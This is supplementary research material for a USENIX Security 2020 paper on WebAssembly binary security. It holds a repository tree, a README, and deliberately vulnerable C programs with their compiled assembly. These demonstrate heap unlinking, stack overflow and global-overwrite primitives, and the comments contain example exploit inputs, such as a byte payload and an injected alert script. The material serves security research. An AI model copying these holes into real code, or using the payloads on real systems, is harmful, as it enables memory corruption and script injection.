├── README.md ├── attack-primitives ├── emmalloc-unsafe-unlinking │ ├── out │ │ ├── unsafe-unlink.html │ │ ├── unsafe-unlink.js │ │ ├── unsafe-unlink.wasm │ │ ├── unsafe-unlink.wasm.objdump │ │ ├── unsafe-unlink.wasm.s │ │ └── unsafe-unlink.wasm.wat │ └── unsafe-unlink.c ├── global-const-write-eval │ ├── build.sh │ ├── out │ │ ├── run_script.html │ │ ├── run_script.js │ │ ├── run_script.native │ │ ├── run_script.native.objdump │ │ ├── run_script.native.s │ │ ├── run_script.wasm │ │ ├── run_script.wasm.objdump │ │ ├── run_script.wasm.s │ │ └── run_script.wasm.wat │ └── run_script.c ├── server.py ├── stack-buffer-overflow-data-only │ ├── out │ │ ├── same-frame-force-order.html │ │ ├── same-frame-force-order.js │ │ ├── same-frame-force-order.native │ │ ├── same-frame-force-order.native.objdump │ │ ├── same-frame-force-order.native.s │ │ ├── same-frame-force-order.wasm │ │ ├── same-frame-force-order.wasm.map │ │ ├── same-frame-force-order.wasm.objdump │ │ ├── same-frame-force-order.wasm.s │ │ ├── same-frame-force-order.wasm.wat │ │ ├── same-frame.html │ │ ├── same-frame.js │ │ ├── same-frame.native │ │ ├── same-frame.native.objdump │ │ ├── same-frame.native.s │ │ ├── same-frame.wasm │ │ ├── same-frame.wasm.map │ │ ├── same-frame.wasm.objdump │ │ ├── same-frame.wasm.s │ │ └── same-frame.wasm.wat │ └── same-frame.c └── stack-buffer-overflow │ ├── main.c │ └── out │ ├── main.html │ ├── main.js │ ├── main.native │ ├── main.native.objdump │ ├── main.native.s │ ├── main.wasm │ ├── main.wasm.map │ ├── main.wasm.objdump │ ├── main.wasm.s │ └── main.wasm.wat ├── compilers ├── get-versions.sh └── versions.txt ├── end-to-end-exploits ├── browser-libpng-xss │ ├── 00-compile-libpng-native │ │ ├── .gitignore │ │ └── libpng-1.6.35.zip │ ├── 01-reproduce-overflow-native-detected │ │ ├── input-ssp-detected │ │ ├── input-too-large-segfault │ │ └── pnm2png │ ├── 02-compile-pnm2png-wasm │ │ ├── .gitignore │ │ ├── build.sh │ │ ├── inputs │ │ │ ├── crash │ │ │ ├── exploit │ │ │ ├── monarch.png │ │ │ ├── monarch.pnm │ │ │ └── small.ppm │ │ ├── main.cpp │ │ ├── out │ │ │ ├── main.html │ │ │ ├── main.js │ │ │ └── main.wasm │ │ ├── screenshots │ │ │ ├── before.png │ │ │ ├── benign.png │ │ │ └── exploit.png │ │ ├── server.py │ │ └── simplified.cpp │ ├── CVE-2018-14550 │ └── valid-input.pbm ├── node-js-rce │ ├── build.sh │ ├── exploit │ ├── gksudo-offset │ ├── main.c │ ├── main.js │ ├── main.wasm │ └── main.wat └── wasmtime-constant-file │ ├── build.sh │ ├── danger │ ├── exploit.txt │ ├── file.txt │ ├── vuln.c │ ├── vuln.native │ ├── vuln.s │ ├── vuln.wasm │ ├── vuln.wasm.objdump │ └── vuln.wasm.wat ├── linear-memory-analysis ├── build.sh ├── clang-stack-first-wasi.wasm ├── clang-stack-first-wasi.wasm.objdump ├── clang-stack-first-wasi.wasm.stdout ├── clang-stack-first-wasi.wasm.wat ├── clang-wasi-stack-first.wasm ├── clang-wasi-stack-first.wasm.objdump ├── clang-wasi-stack-first.wasm.wat ├── clang-wasi.wasm ├── clang-wasi.wasm.objdump ├── clang-wasi.wasm.stdout ├── clang-wasi.wasm.wat ├── emcc-fastcomp.js ├── emcc-fastcomp.js.stdout ├── emcc-fastcomp.wasm ├── emcc-fastcomp.wasm.objdump ├── emcc-fastcomp.wasm.wat ├── emcc-upstream.js ├── emcc-upstream.js.stdout ├── emcc-upstream.wasm ├── emcc-upstream.wasm.objdump ├── emcc-upstream.wasm.wat ├── main.c ├── main.rs ├── rust-wasi.wasm ├── rust-wasi.wasm.objdump ├── rust-wasi.wasm.stdout └── rust-wasi.wasm.wat ├── quantitative-evaluation ├── overview-table.csv ├── raw-tool-output │ ├── real-world │ │ ├── 1password.wasm.txt │ │ ├── acrobat.wasm.txt │ │ ├── doom3.wasm.txt │ │ ├── figma.wasm.txt │ │ └── squoosh-imagecodecs │ │ │ ├── hqx-rs-8c087e0290bb39f1e090.module.wasm.txt │ │ │ ├── mozjpeg_enc.93395.wasm.txt │ │ │ ├── optipng.4e77b.wasm.txt │ │ │ ├── webp_dec.fa0ab.wasm.txt │ │ │ └── webp_enc.ea665.wasm.txt │ └── spec-cpu │ │ ├── fastcomp │ │ ├── blender_r.wasm.security-analysis.txt │ │ ├── cpugcc_r.wasm.security-analysis.txt │ │ ├── cpuxalan_r.wasm.security-analysis.txt │ │ ├── deepsjeng_r.wasm.security-analysis.txt │ │ ├── imagick_r.wasm.security-analysis.txt │ │ ├── lbm_r.wasm.security-analysis.txt │ │ ├── ldecod_r.wasm.security-analysis.txt │ │ ├── leela_r.wasm.security-analysis.txt │ │ ├── mcf_r.wasm.security-analysis.txt │ │ ├── nab_r.wasm.security-analysis.txt │ │ ├── namd_r.wasm.security-analysis.txt │ │ ├── omnetpp_r.wasm.security-analysis.txt │ │ ├── parest_r.wasm.security-analysis.txt │ │ ├── perlbench_r.wasm.security-analysis.txt │ │ ├── povray_r.wasm.security-analysis.txt │ │ ├── x264_r.wasm.security-analysis.txt │ │ └── xz_r.wasm.security-analysis.txt │ │ └── upstream │ │ ├── blender_r.wasm.security-analysis.txt │ │ ├── cpugcc_r.wasm.security-analysis.txt │ │ ├── cpuxalan_r.wasm.security-analysis.txt │ │ ├── deepsjeng_r.wasm.security-analysis.txt │ │ ├── imagick_r.wasm.security-analysis.txt │ │ ├── lbm_r.wasm.security-analysis.txt │ │ ├── ldecod_r.wasm.security-analysis.txt │ │ ├── leela_r.wasm.security-analysis.txt │ │ ├── mcf_r.wasm.security-analysis.txt │ │ ├── nab_r.wasm.security-analysis.txt │ │ ├── namd_r.wasm.security-analysis.txt │ │ ├── omnetpp_r.wasm.security-analysis.txt │ │ ├── parest_r.wasm.security-analysis.txt │ │ ├── perlbench_r.wasm.security-analysis.txt │ │ ├── povray_r.wasm.security-analysis.txt │ │ ├── x264_r.wasm.security-analysis.txt │ │ └── xz_r.wasm.security-analysis.txt ├── spec-cpu-cfi-classes │ ├── fastcomp.csv │ └── upstream.csv ├── spec-cpu-compile-configs │ ├── emcc-fastcomp.cfg │ └── emcc-upstream.cfg ├── unmanaged-stack-usage-sum.csv └── unmanaged-stack-usage.csv └── tool └── wasm-security-analysis ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── README.md └── src └── main.rs /README.md: -------------------------------------------------------------------------------- 1 | # Supplementary Material for USENIX Security 2020 Paper: "Everything Old is New Again: Binary Security of WebAssembly" 2 | 3 | - `tool/`: Rust source code of the static analysis tool to obtain unmanaged stack usage and CFI equivalence classes from a WebAssembly binary. See the project README for a bit more high-level information. 4 | - `compilers/`: Versions of the C, C++, and Rust compilers used in proof-of-concept exploits and analyzing linear memory layout of WebAssembly binaries. 5 | - `linear-memory-analysis/`: C and Rust programs, build scripts, and resulting binaries to analyze the memory layout when compiling with different compilers. Corresponding to section 3 in the paper. 6 | - `attack-primitives/`: Stack-based buffer overflow, heap overflow (on emmalloc), and global "constant" overwrite primitive examples (C source code and produced, vulnerable binaries). Corresponding to section 4 in the paper. 7 | - `end-to-end-exploits/`: Example applications on three different WebAssembly platforms (browser, Node.js, wasmtime) and end-to-end exploits against those proof-of-concept applications. Corresponding to section 5 in the paper. 8 | - `quantitative-evaluation/`: Raw data for the quantitative evaluation on unmanaged stack usage and CFI equivalence classes in real-world and SPEC CPU binaries. Corresponding to section 6 in the paper. 9 | -------------------------------------------------------------------------------- /attack-primitives/emmalloc-unsafe-unlinking/out/unsafe-unlink.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/emmalloc-unsafe-unlinking/out/unsafe-unlink.wasm -------------------------------------------------------------------------------- /attack-primitives/emmalloc-unsafe-unlinking/unsafe-unlink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // uintptr_t 5 | #include 6 | 7 | // NOTE Must compile with -s MALLOC=emmalloc, since dlmalloc 2.8.5. implements safe unlinking 8 | 9 | // NOTE Must compile without -g flag with emcc in order to disable assertions (that check unlinking). 10 | 11 | // NOTE For easier debugging of the allocator, you can change 12 | // emsdk/upstream/emscripten/tools/system_libs.py, libmalloc, cflags 13 | // to include '-fno-inline-functions', '-g'. 14 | 15 | /* 16 | * Just some helpers for printing the heap state. 17 | */ 18 | 19 | int alignment(void * ptr) { 20 | int trailing_zeroes = __builtin_ctz((uintptr_t) ptr); 21 | return 2 << trailing_zeroes; 22 | } 23 | 24 | void print_ptr(void * ptr) { 25 | if (ptr) { 26 | printf("%p (%lu), align=%d\n", ptr, (uintptr_t) ptr, alignment(ptr)); 27 | } else { 28 | printf("NULL\n"); 29 | } 30 | } 31 | 32 | // From emmalloc.cpp: 33 | struct free_info { 34 | void * prev; 35 | void * next; 36 | }; 37 | 38 | typedef struct region { 39 | // Bitfield, i.e., the LSB is used, all the other bits are totalSize. 40 | size_t used : 1; 41 | size_t totalSize : 31; 42 | 43 | // Each memory area knows its previous neighbor, as we hope to merge them. 44 | // To compute the next neighbor we can use the total size, and to know 45 | // if a neighbor exists we can compare the region to lastRegion 46 | struct region* prev; 47 | 48 | // Up to here was the fixed metadata, of size 16. The rest is either 49 | // the payload, or freelist info. 50 | union { 51 | struct free_info free_info; 52 | // NOTE flexible array member is not supported in a union, I wonder why it works for emscripten? 53 | char payload[1]; 54 | }; 55 | } region; 56 | 57 | void print_heap_metadata_emmalloc(void * payload) { 58 | uint8_t * payload_bytes = payload; 59 | region* region = (struct region*) (payload_bytes - 8); 60 | printf("region at: "); 61 | print_ptr(region); 62 | printf("totalSize: 0x%x (%d) bytes\n", region->totalSize, region->totalSize); 63 | printf("state: %s\n", (region->used) ? "used" : "free"); 64 | printf("prev: "); 65 | print_ptr(region->prev); 66 | printf("next(): "); 67 | print_ptr((char*) region + region->totalSize); 68 | if (region->used) { 69 | printf("payload at: "); 70 | print_ptr(®ion->payload); 71 | printf("payload: \"%s\"\n", region->payload); 72 | } else { 73 | printf("free_info at: "); 74 | print_ptr(®ion->free_info); 75 | printf("FI.prev: "); 76 | print_ptr(region->free_info.prev); 77 | printf("FI.next: "); 78 | print_ptr(region->free_info.next); 79 | } 80 | printf("\n"); 81 | } 82 | 83 | 84 | /* 85 | * Vulnerable function, exported to JS (see wrapper code below). 86 | */ 87 | 88 | __attribute__((used)) 89 | void main_bytes(void * input, size_t size) { 90 | 91 | printf("input: %s\n", (char *) input); 92 | printf("size: %zu\n\n", size); 93 | 94 | 95 | uint8_t * alloc1 = malloc(8); 96 | printf("alloc1\n"); 97 | print_heap_metadata_emmalloc(alloc1); 98 | 99 | // This is the allocation that is getting overflown into (more specifically its metadata). 100 | // - Allocate enough space to make sure we don't run out of the global heap altogether. 101 | // - In this case, we cannot NOT allocate it, because then alloc1 == lastRegion, which 102 | // prevents the allocator from merging (which is the code path, we exploit). 103 | uint8_t * alloc2 = malloc(1000); 104 | printf("alloc2\n"); 105 | print_heap_metadata_emmalloc(alloc2); 106 | 107 | 108 | // Heap overflow. 109 | // Corrupting metadata of alloc2: 110 | // - Mark it as free (used := 0), such that it gets merged into alloc1 upon free. 111 | // - Setup fake FreeInfo.prev and .next pointer for mirrored write primitive. 112 | // See below for details. 113 | printf("memcpy\n\n"); 114 | memcpy(alloc1, input, size); 115 | 116 | printf("alloc1\n"); 117 | print_heap_metadata_emmalloc(alloc1); 118 | 119 | printf("alloc2 (corrupted)\n"); 120 | print_heap_metadata_emmalloc(alloc2); 121 | 122 | 123 | // Trigger the vulnerability by free-ing alloc1: 124 | // - We want to manipulate alloc2 to let the allocator think it is a free region. 125 | // - Then, it will try to merge alloc2 and alloc1. 126 | // - For which it will remove alloc2 from the free list. 127 | // - For which it will unlink alloc2's FreeInfo -> classic unsafe unlinking :-) 128 | // - Call chain: free() -> stopUsing() -> mergeIntoExistingFreeRegion() -> removeFromFreeList(). 129 | printf("free alloc1\n\n"); 130 | free(alloc1); 131 | 132 | printf("alloc1\n"); 133 | print_heap_metadata_emmalloc(alloc1); 134 | 135 | printf("alloc2\n"); 136 | print_heap_metadata_emmalloc(alloc2); 137 | 138 | } 139 | 140 | /* 141 | * Setup and exploit code, but vulnerability is in main_bytes(). 142 | */ 143 | 144 | int main(int argc, char ** argv) { 145 | // Make main_bytes() available conveniently in JavaScript (just pass a JS array). 146 | EM_ASM({ 147 | window.main_bytes = function(array) { 148 | ccall("main_bytes", null, ["array", "number"], [array, array.length]); 149 | }; 150 | }); 151 | 152 | // // Let's just exploit right here on the spot (but you could also 153 | // // simply execute this JS in the developer console in the browser.) 154 | // EM_ASM(main_bytes([ 155 | // // Regular payload data for alloc1. 156 | // 65, 65, 65, 65, 65, 65, 65, 0, 157 | 158 | // // Overwrite metadata of alloc2, which is right next to alloc1: 159 | 160 | // // size + used flag: 161 | // // - "+ 0" means the used bit is 0 (= free region). 162 | // // - "16<<1" is the size, including metadata (16 bytes). 163 | // // The value is not used by the exploited code in the allocator except for error checking, 164 | // // so you have to make sure two things (when compiled with assertions): 165 | // // 1. size - METADATA_SIZE > 0, i.e., size MUST BE > 8. 166 | // // 2. this + size < DYNAMIC_TOP, i.e., size should not be too large 167 | // (16<<1) + 0, 0, 0, 0, 168 | 169 | // // Region.prev: UNUSED 170 | // 0, 0, 0, 0, 171 | 172 | // // Now the two mirrored writes, where the following happens during unlinking: 173 | // // *(prev+4) = next, and 174 | // // *(next) = prev. 175 | // // I.e., both values will be used as pointers and as values (hence a "mirrored write"). 176 | 177 | // // Region.FreeInfo.prev: 178 | // 0, 0x10, 0, 0, // TODO change to your liking 179 | // // Region.FreeInfo.next: UNUSED 180 | // 0, 0x20, 0, 0, // TODO change to your liking 181 | // ])); 182 | 183 | // To check whether exploit was successful (i.e. the writes were performed), type in JS console: 184 | // HEAP32[0x1000+4 >> 2] == 0x2000 185 | // HEAP32[0x2000 >> 2] == 0x1000 186 | // both should give true. 187 | // (The >> 2 is just because HEAP32 operates on words, i.e., 4 bytes at a time, so byte 188 | // addresses have to be divided by 4.) 189 | 190 | return 0; 191 | } 192 | -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | input="run_script.c" 3 | basename=$(basename $input .c) 4 | mkdir -p out 5 | # use simpler allocator to save space in wasm file and make it easier to understand 6 | emcc -O2 -g4 -o "out/$basename.html" "$input" -s MALLOC="emmalloc" 7 | -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/out/run_script.native: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/global-const-write-eval/out/run_script.native -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/out/run_script.native.s: -------------------------------------------------------------------------------- 1 | .text 2 | .intel_syntax noprefix 3 | .file "run_script.c" 4 | .globl main # -- Begin function main 5 | .p2align 4, 0x90 6 | .type main,@function 7 | main: # @main 8 | .cfi_startproc 9 | # %bb.0: 10 | push rax 11 | .cfi_def_cfa_offset 16 12 | mov rdi, qword ptr [rip + other_data] 13 | call puts 14 | mov edi, offset .L.str.2 15 | call puts 16 | mov edi, offset .L.str.2 17 | xor eax, eax 18 | call printf 19 | xor eax, eax 20 | pop rcx 21 | ret 22 | .Lfunc_end0: 23 | .size main, .Lfunc_end0-main 24 | .cfi_endproc 25 | # -- End function 26 | .globl do_something_stupid_which_allows_write_access # -- Begin function do_something_stupid_which_allows_write_access 27 | .p2align 4, 0x90 28 | .type do_something_stupid_which_allows_write_access,@function 29 | do_something_stupid_which_allows_write_access: # @do_something_stupid_which_allows_write_access 30 | .cfi_startproc 31 | # %bb.0: 32 | push rax 33 | .cfi_def_cfa_offset 16 34 | mov rax, rdi 35 | mov rdi, qword ptr [rip + other_data] 36 | mov rsi, rax 37 | call strcpy 38 | mov edi, offset .L.str.1 39 | pop rax 40 | jmp puts # TAILCALL 41 | .Lfunc_end1: 42 | .size do_something_stupid_which_allows_write_access, .Lfunc_end1-do_something_stupid_which_allows_write_access 43 | .cfi_endproc 44 | # -- End function 45 | .type .L.str,@object # @.str 46 | .section .rodata.str1.1,"aMS",@progbits,1 47 | .L.str: 48 | .asciz "AAAA" 49 | .size .L.str, 5 50 | 51 | .type other_data,@object # @other_data 52 | .data 53 | .globl other_data 54 | .p2align 3 55 | other_data: 56 | .quad .L.str 57 | .size other_data, 8 58 | 59 | .type .L.str.1,@object # @.str.1 60 | .section .rodata.str1.1,"aMS",@progbits,1 61 | .L.str.1: 62 | .asciz "we fucked up..." 63 | .size .L.str.1, 16 64 | 65 | .type .L.str.2,@object # @.str.2 66 | .L.str.2: 67 | .asciz "console.log('this should be safe, shouldn\\'t it?')" 68 | .size .L.str.2, 51 69 | 70 | 71 | .ident "clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)" 72 | .section ".note.GNU-stack","",@progbits 73 | -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/out/run_script.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/global-const-write-eval/out/run_script.wasm -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/out/run_script.wasm.s: -------------------------------------------------------------------------------- 1 | .text 2 | .file "run_script.c" 3 | .section .text.__original_main,"",@ 4 | .hidden __original_main # -- Begin function __original_main 5 | .globl __original_main 6 | .type __original_main,@function 7 | __original_main: # @__original_main 8 | .functype __original_main () -> (i32) 9 | # %bb.0: # %entry 10 | i32.const 0 11 | i32.load other_data 12 | i32.call puts 13 | drop 14 | i32.const .L.str.2 15 | i32.call puts 16 | drop 17 | i32.const .L.str.2 18 | call emscripten_run_script 19 | i32.const 0 20 | # fallthrough-return-value 21 | end_function 22 | .Lfunc_end0: 23 | .size __original_main, .Lfunc_end0-__original_main 24 | # -- End function 25 | .section .text.do_something_stupid_which_allows_write_access,"",@ 26 | .hidden do_something_stupid_which_allows_write_access # -- Begin function do_something_stupid_which_allows_write_access 27 | .globl do_something_stupid_which_allows_write_access 28 | .type do_something_stupid_which_allows_write_access,@function 29 | do_something_stupid_which_allows_write_access: # @do_something_stupid_which_allows_write_access 30 | .functype do_something_stupid_which_allows_write_access (i32) -> () 31 | # %bb.0: # %entry 32 | i32.const 0 33 | i32.load other_data 34 | local.get 0 35 | i32.call strcpy 36 | drop 37 | i32.const .L.str.1 38 | i32.call puts 39 | drop 40 | # fallthrough-return-void 41 | end_function 42 | .Lfunc_end1: 43 | .size do_something_stupid_which_allows_write_access, .Lfunc_end1-do_something_stupid_which_allows_write_access 44 | # -- End function 45 | .section .text.main,"",@ 46 | .hidden main # -- Begin function main 47 | .globl main 48 | .type main,@function 49 | main: # @main 50 | .functype main (i32, i32) -> (i32) 51 | # %bb.0: # %body 52 | i32.call __original_main 53 | # fallthrough-return-value 54 | end_function 55 | .Lfunc_end2: 56 | .size main, .Lfunc_end2-main 57 | # -- End function 58 | .type .L.str,@object # @.str 59 | .section .rodata..L.str,"",@ 60 | .L.str: 61 | .asciz "AAAA" 62 | .size .L.str, 5 63 | 64 | .hidden other_data # @other_data 65 | .type other_data,@object 66 | .section .data.other_data,"",@ 67 | .globl other_data 68 | .p2align 2 69 | other_data: 70 | .int32 .L.str 71 | .size other_data, 4 72 | 73 | .type .L.str.1,@object # @.str.1 74 | .section .rodata..L.str.1,"",@ 75 | .L.str.1: 76 | .asciz "we fucked up..." 77 | .size .L.str.1, 16 78 | 79 | .type .L.str.2,@object # @.str.2 80 | .section .rodata..L.str.2,"",@ 81 | .L.str.2: 82 | .asciz "console.log('this should be safe, shouldn\\'t it?')" 83 | .size .L.str.2, 51 84 | 85 | .no_dead_strip do_something_stupid_which_allows_write_access 86 | 87 | .ident "clang version 10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 88 | .functype puts (i32) -> (i32) 89 | .functype emscripten_run_script (i32) -> () 90 | .functype strcpy (i32, i32) -> (i32) 91 | .functype getTempRet0 () -> (i32) 92 | .functype setTempRet0 (i32) -> () 93 | .size __THREW__, 4 94 | .size __threwValue, 4 95 | .section .custom_section.producers,"",@ 96 | .int8 1 97 | .int8 12 98 | .ascii "processed-by" 99 | .int8 1 100 | .int8 5 101 | .ascii "clang" 102 | .ascii "\206\001" 103 | .ascii "10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 104 | .section .rodata..L.str.2,"",@ 105 | -------------------------------------------------------------------------------- /attack-primitives/global-const-write-eval/run_script.c: -------------------------------------------------------------------------------- 1 | #ifdef __EMSCRIPTEN__ 2 | #include 3 | #else 4 | #define EMSCRIPTEN_KEEPALIVE __attribute((used)) 5 | #define emscripten_run_script printf 6 | #endif 7 | 8 | #include 9 | #include 10 | 11 | char * other_data = "AAAA"; 12 | 13 | // NOTE with a const char* the code is even more unsafe, because it gets compiled as: 14 | // i32.const 1668 (or something) 15 | // i32.load8 16 | // instead of 17 | // i32.const 1024 18 | // i.e., there is one more memory indirection and a single ptr override would suffice! 19 | 20 | // Doesn't work in native, since safe_script is put into .rodata section, which is mapped to a non-W 21 | // page. See objdump -s -j .rodata out/run_script.native. 22 | 23 | static char * safe_script = "console.log('this should be safe, shouldn\\'t it?')"; 24 | 25 | int main() { 26 | 27 | puts(other_data); 28 | puts(safe_script); 29 | 30 | emscripten_run_script(safe_script); 31 | 32 | return 0; 33 | } 34 | 35 | // Exploit with (in JS console, but in principle C code could cause this) 36 | // ccall("do_something_stupid_which_allows_write_access", null, ["string"], [";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;alert('bam')"]) 37 | // Then run again with: 38 | // _main() 39 | 40 | EMSCRIPTEN_KEEPALIVE 41 | void do_something_stupid_which_allows_write_access(const char * input) { 42 | // Buffer overflow happens here! 43 | // the memory is not that static actually :P 44 | // WASM doesnt have read-only mem! 45 | strcpy(other_data, input); 46 | puts("we fucked up..."); 47 | } 48 | -------------------------------------------------------------------------------- /attack-primitives/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Serve wasm with the correct MIME type 4 | 5 | import SimpleHTTPServer 6 | import SocketServer 7 | 8 | PORT = 8000 9 | 10 | Handler = SimpleHTTPServer.SimpleHTTPRequestHandler 11 | 12 | Handler.extensions_map['.wasm'] = 'application/wasm' 13 | httpd = SocketServer.TCPServer(("", PORT), Handler) 14 | httpd.serve_forever() 15 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.native: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.native -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.native.s: -------------------------------------------------------------------------------- 1 | .text 2 | .intel_syntax noprefix 3 | .file "same-frame-force-order.c" 4 | .globl print_bufs # -- Begin function print_bufs 5 | .p2align 4, 0x90 6 | .type print_bufs,@function 7 | print_bufs: # @print_bufs 8 | .cfi_startproc 9 | # %bb.0: 10 | push rbx 11 | .cfi_def_cfa_offset 16 12 | .cfi_offset rbx, -16 13 | mov rbx, rsi 14 | mov rcx, rdi 15 | mov edi, offset .L.str 16 | xor eax, eax 17 | mov rsi, rcx 18 | mov rdx, rcx 19 | call printf 20 | mov edi, offset .L.str.1 21 | xor eax, eax 22 | mov rsi, rbx 23 | mov rdx, rbx 24 | pop rbx 25 | jmp printf # TAILCALL 26 | .Lfunc_end0: 27 | .size print_bufs, .Lfunc_end0-print_bufs 28 | .cfi_endproc 29 | # -- End function 30 | .globl main # -- Begin function main 31 | .p2align 4, 0x90 32 | .type main,@function 33 | main: # @main 34 | .cfi_startproc 35 | # %bb.0: 36 | push r15 37 | .cfi_def_cfa_offset 16 38 | push r14 39 | .cfi_def_cfa_offset 24 40 | push rbx 41 | .cfi_def_cfa_offset 32 42 | sub rsp, 32 43 | .cfi_def_cfa_offset 64 44 | .cfi_offset rbx, -32 45 | .cfi_offset r14, -24 46 | .cfi_offset r15, -16 47 | mov rbx, rsi 48 | mov rax, qword ptr fs:[40] 49 | mov qword ptr [rsp + 24], rax 50 | movups xmm0, xmmword ptr [rip + .Lmain.two_bufs] 51 | movaps xmmword ptr [rsp], xmm0 52 | lea r14, [rsp + 8] 53 | mov r15, rsp 54 | mov rdi, r15 55 | mov rsi, r14 56 | call print_bufs 57 | mov rsi, qword ptr [rbx + 8] 58 | mov rdi, r15 59 | call strcpy 60 | mov rdi, r15 61 | mov rsi, r14 62 | call print_bufs 63 | mov rax, qword ptr fs:[40] 64 | cmp rax, qword ptr [rsp + 24] 65 | jne .LBB1_2 66 | # %bb.1: 67 | xor eax, eax 68 | add rsp, 32 69 | pop rbx 70 | pop r14 71 | pop r15 72 | ret 73 | .LBB1_2: 74 | call __stack_chk_fail 75 | .Lfunc_end1: 76 | .size main, .Lfunc_end1-main 77 | .cfi_endproc 78 | # -- End function 79 | .type .L.str,@object # @.str 80 | .section .rodata.str1.1,"aMS",@progbits,1 81 | .L.str: 82 | .asciz "&buf_overflow: %p\n buf_overflow: %s\n" 83 | .size .L.str, 41 84 | 85 | .type .L.str.1,@object # @.str.1 86 | .L.str.1: 87 | .asciz "&buf_other_data: %p\n buf_other_data: %s\n" 88 | .size .L.str.1, 41 89 | 90 | .type .Lmain.two_bufs,@object # @main.two_bufs 91 | .section .rodata.cst16,"aM",@progbits,16 92 | .Lmain.two_bufs: 93 | .zero 8 94 | .asciz "BBBBBBB" 95 | .size .Lmain.two_bufs, 16 96 | 97 | 98 | .ident "clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)" 99 | .section ".note.GNU-stack","",@progbits 100 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.wasm -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.wasm.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":["/mnt/Data/Downloads/2019-09-26-wasm-poc-exploits/01-stack-overflow-other-buffer/same-frame-force-order.c"],"names":[],"mappings":"2jBAYA,YACE,wBACA,qBACF,SAUA,YACW,2BAET,MAKA,AAF0B,EAA1B,EAA0B,UAE1B,IAKA,OAZS,EAYT"} -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame-force-order.wasm.s: -------------------------------------------------------------------------------- 1 | .text 2 | .file "same-frame-force-order.c" 3 | .section .text.print_bufs,"",@ 4 | .hidden print_bufs # -- Begin function print_bufs 5 | .globl print_bufs 6 | .type print_bufs,@function 7 | print_bufs: # @print_bufs 8 | .functype print_bufs (i32, i32) -> () 9 | .local i32 10 | # %bb.0: # %entry 11 | global.get __stack_pointer 12 | i32.const 32 13 | i32.sub 14 | local.tee 2 15 | global.set __stack_pointer 16 | local.get 2 17 | local.get 0 18 | i32.store 20 19 | local.get 2 20 | local.get 0 21 | i32.store 16 22 | i32.const .L.str 23 | local.get 2 24 | i32.const 16 25 | i32.add 26 | i32.call iprintf 27 | drop 28 | local.get 2 29 | local.get 1 30 | i32.store 4 31 | local.get 2 32 | local.get 1 33 | i32.store 0 34 | i32.const .L.str.1 35 | local.get 2 36 | i32.call iprintf 37 | drop 38 | local.get 2 39 | i32.const 32 40 | i32.add 41 | global.set __stack_pointer 42 | # fallthrough-return-void 43 | end_function 44 | .Lfunc_end0: 45 | .size print_bufs, .Lfunc_end0-print_bufs 46 | # -- End function 47 | .section .text.main,"",@ 48 | .hidden main # -- Begin function main 49 | .globl main 50 | .type main,@function 51 | main: # @main 52 | .functype main (i32, i32) -> (i32) 53 | .local i32, i32 54 | # %bb.0: # %entry 55 | global.get __stack_pointer 56 | i32.const 16 57 | i32.sub 58 | local.tee 2 59 | global.set __stack_pointer 60 | local.get 2 61 | i32.const 8 62 | i32.add 63 | local.tee 3 64 | i32.const 0 65 | i64.load .L__const.main.two_bufs+8:p2align=0 66 | i64.store 0 67 | local.get 2 68 | i32.const 0 69 | i64.load .L__const.main.two_bufs:p2align=0 70 | i64.store 0 71 | local.get 2 72 | local.get 3 73 | call print_bufs 74 | local.get 2 75 | local.get 1 76 | i32.load 4 77 | i32.call strcpy 78 | local.get 3 79 | call print_bufs 80 | local.get 2 81 | i32.const 16 82 | i32.add 83 | global.set __stack_pointer 84 | i32.const 0 85 | # fallthrough-return-value 86 | end_function 87 | .Lfunc_end1: 88 | .size main, .Lfunc_end1-main 89 | # -- End function 90 | .type .L.str,@object # @.str 91 | .section .rodata..L.str,"",@ 92 | .L.str: 93 | .asciz "&buf_overflow: %p\n buf_overflow: %s\n" 94 | .size .L.str, 41 95 | 96 | .type .L.str.1,@object # @.str.1 97 | .section .rodata..L.str.1,"",@ 98 | .L.str.1: 99 | .asciz "&buf_other_data: %p\n buf_other_data: %s\n" 100 | .size .L.str.1, 41 101 | 102 | .type .L__const.main.two_bufs,@object # @__const.main.two_bufs 103 | .section .rodata..L__const.main.two_bufs,"",@ 104 | .L__const.main.two_bufs: 105 | .skip 8 106 | .asciz "BBBBBBB" 107 | .size 